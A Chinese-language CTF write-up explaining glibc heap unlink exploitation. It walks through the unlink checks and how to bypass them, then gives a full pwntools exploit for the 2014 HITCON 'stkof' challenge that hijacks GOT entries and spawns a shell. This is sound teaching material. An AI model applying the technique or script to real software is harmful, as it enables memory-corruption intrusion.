Unlink
在free堆块时,要满足释放的该chunk不在tcache(带着chunkhead,0x410)或fastbin(0x80)范围内,free的chunk物理地址前或后有freechunk时会进行unlink操作,unlink就是把这个chunk从双向链表里拿下来
调用关系大致如下
#define unlink(AV, P, BK, FD) static void _int_free (mstate av, mchunkptr p, int have_lock) free(){ _int_free(){ unlink(); } }
|
unlink是一个宏
#define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) { if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV); if (FD->fd_nextsize == NULL) { if (P->fd_nextsize == P) FD->fd_nextsize = FD->bk_nextsize = FD; else { FD->fd_nextsize = P->fd_nextsize; FD->bk_nextsize = P->bk_nextsize; P->fd_nextsize->bk_nextsize = FD; P->bk_nextsize->fd_nextsize = FD; } } else { P->fd_nextsize->bk_nextsize = P->bk_nextsize; P->bk_nextsize->fd_nextsize = P->fd_nextsize; } } } }
|
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)", \ P, AV);
|
Unlink这里会有几个检测
- 检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
- 检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
- 经常被释放chunk的fd的bk是否指向p,被释放chunk的bk的fd是否指向p
我们着重分析一下这里
FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD;
|
我们怎么绕过检测通过unlink实现任意地址读写呢
在64位程序下,我们被unlink的chunk是P
我们伪造chunk P
P->fd = target addr -0x18
P->bk = expect value
FD = P->fd = target-0x18
BK = P->bk = expect value
FD->bk = BK —>*(target-0x18+0x18)=*(P->fd+0x18)=BK=expect value
BK->fd = FD —>*(expect value+0x10)=FD=target-0x18=P->fd
实现了任意地址读写但是没有绕过 if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, “corrupted double-linked list”, P, AV);
也就是我们需要*(FD+0x18)=P *(BK+0x10)=P
如果我们可以在堆地址的某个地方伪造或者找到一个合适fake_chunk,这个chunk地址可以泄露出来,且符合=P要求,我们把这个地址写到chunk P的fd和bk,在unlink时会发生什么呢
通过上面的分析,可以得知,
- 第一步*(target)||*(P->fd+0x18)写入expect value||BK
- 第二步会在*(expect value+0x10)||*(p->bk+10)写入target-0x18||P->fd
- 如果我们可以控制这个地址内容,也就是可以using after free,通过修改该地址内容就可以实现hook
2014 HITCON stkof
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2014_hitcon_stkof
grxer@Ubuntu16 ~/D/p/heap> checksec stkof [*] '/home/grxer/Desktop/pwn/heap/stkof' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
程序里有用的功能
- alloc分配内存,并写到bss段0x602140的全局数组里
- free释放并置零指针,好评尼
- fill填充申请堆区
signed __int64 fill() { int i; unsigned int idx; __int64 size; char *ptr; char s[104]; unsigned __int64 v6;
v6 = __readfsqword(0x28u); fgets(s, 16, stdin); idx = atol(s); if ( idx > 0x100000 ) return 0xFFFFFFFFLL; if ( !globals[idx] ) return 0xFFFFFFFFLL; fgets(s, 16, stdin); size = atoll(s); ptr = globals[idx]; for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) ) { ptr += i; size -= i; } if ( size ) return 0xFFFFFFFFLL; else return 0LL; }
|
这里的fill是有漏洞的,我们可以限定大小的堆里写入任意大小的数据造成堆溢出
堆溢出给了我们伪造unlink_chunk的机会,global指针数组给了我们伪造fd bk绕过检测的机会
缓冲区问题
alloc(16)
alloc(32)
alloc(48)
我们这里先alloc三个堆块
这里发现多了两个堆块在alloc(16)中间,这是因为程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。在第一个malloc时,刚好有fget和printf
第一个chunk被包围不好利用,所以我们选择绕过第一个
实现fill地址可控
这里我们申请三个堆块,
alloc(0x10)
alloc(0x30)
alloc(0x80)
利用堆溢出,可以伪造unlink——chunk,我们选择在堆块二伪造
chunkhead需要0x10字节,fd bk需要0x10字节,后面数据需要0x10字节,第二个堆块至少0x30
第三个堆块需要在free的时候出发unlink操作,需要大于fastbin最大容量,申请0x80即可
- chunkhead伪造p64(0x0)+p64(0x30)即可
- fd和bk这里我们需要FD->bk = P && BK->fd = P
- 这里我们可以利用globa指针数组里内容伪造双向链表
- 这时候我们的伪造unlink堆P=0x0000000002c87450我们选取0x602138作为fd刚好满足FD->bk = P
- 选取0x602140作为bk刚好满足BK->fd = P
- 这里我们只需要关系FD的bk和BK的fd就好其他和我们unlink无关比如说我们FD的fd,我管你指向谁,我们不关心
payload=p64(0x0)+p64(0x31)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x00)+p64(0x6666)
伪造好unlinkchunk,伪造chunk3,把prevsize改写为伪造chunk大小,把size PREV_INUSE位置零
payload += p64(0x30)+p64(0x90)
然后我们去释放chunk3 触发unlink
按照我们先前的分析
- 先把fd+0x18=0x602138+0x18=0x602150地址写入bk=0x602140
- 再把bk+0x10=0x602140+0x10=0x602150地址写入fd=0x602138
和分析一样
任意地址读写,leak数据,拿shell走人
这样我们fill chunk2时就可以,修改全局指针数组为任何地址,再通过fill修改这个地址为任何值
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)
这样s[0]=free_got,s[1]=puts_got,s[2]=atoi_got
payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)
先把freegot改为puts plt,这样free(1)==puts(puts_got)
leak出libc后
payload = p64(system)
edit(2,len(payload),payload)
把atoi_got改为system。利用choice = atoi(nptr);在输入时构造binsh即可payload = ‘/bin/sh\x00’
io.sendline(payload)
EXP
from pwn import * from LibcSearcher import * context(os='linux',arch='amd64') pwnfile='./stkof' elf = ELF(pwnfile) rop = ROP(pwnfile) if args['REMOTE']: io = remote() else: io = process(pwnfile) r = lambda x: io.recv(x) ra = lambda: io.recvall() rl = lambda: io.recvline(keepends=True) ru = lambda x: io.recvuntil(x, drop=True) s = lambda x: io.send(x) sl = lambda x: io.sendline(x) sa = lambda x, y: io.sendafter(x, y) sla = lambda x, y: io.sendlineafter(x, y) ia = lambda: io.interactive() c = lambda: io.close() li = lambda x: log.info(x) db = lambda x : gdb.attach(io,x) p =lambda x,y:success(x+'-->'+hex(y))
def alloc(size): io.sendline(b'1') io.sendline(str(size).encode()) io.recvuntil(b'OK\n')
def edit(idx, size, content): io.sendline(b'2') io.sendline(str(idx).encode()) io.sendline(str(size).encode()) io.send(content) io.recvuntil(b'OK\n')
def free(idx): io.sendline(b'3') io.sendline(str(idx).encode())
db('b* 0x400AE3')
head=0x602140 free_got = elf.got['free'] puts_got = elf.got['puts'] atoi_got = elf.got['atoi'] puts_plt = elf.plt['puts'] alloc(0x10) alloc(0x30) alloc(0x80) payload=p64(0x0)+p64(0x31)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x00)+p64(0x6666) payload += p64(0x30)+p64(0x90) edit(2,len(payload),payload) free(3)
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got) edit(2,len(payload),payload) payload = p64(puts_plt) edit(0,len(payload),payload) free(1) ru(b'OK\n') puts_ad=u64(r(6).ljust(8,b'\x00')) p('puts',puts_ad) libc=LibcSearcher('puts',puts_ad) base=puts_ad-libc.dump('puts') system=libc.dump('system')+base bin=libc.dump('str_bin_sh')+base payload = p64(system) edit(2,len(payload),payload) payload = '/bin/sh\x00' io.sendline(payload) io.interactive()
|
总结
如果我们找到或伪造地址里面的值是伪造的chunkP的地址值
一个地址
我们把该地址tar,tar-0x18填入fd绕过FD+0x18=P,tar-0x10填入bk绕过BK+0x10=P
最终实现效果是在该tar地址写入tar-0x18
两个地址
tar1 和 tar2 tar1-0x18写入fd,tar2-0x10写入bk
tar1地址写入tar2-0x10|bk值
tar2地址写入tar1-0x18|fd值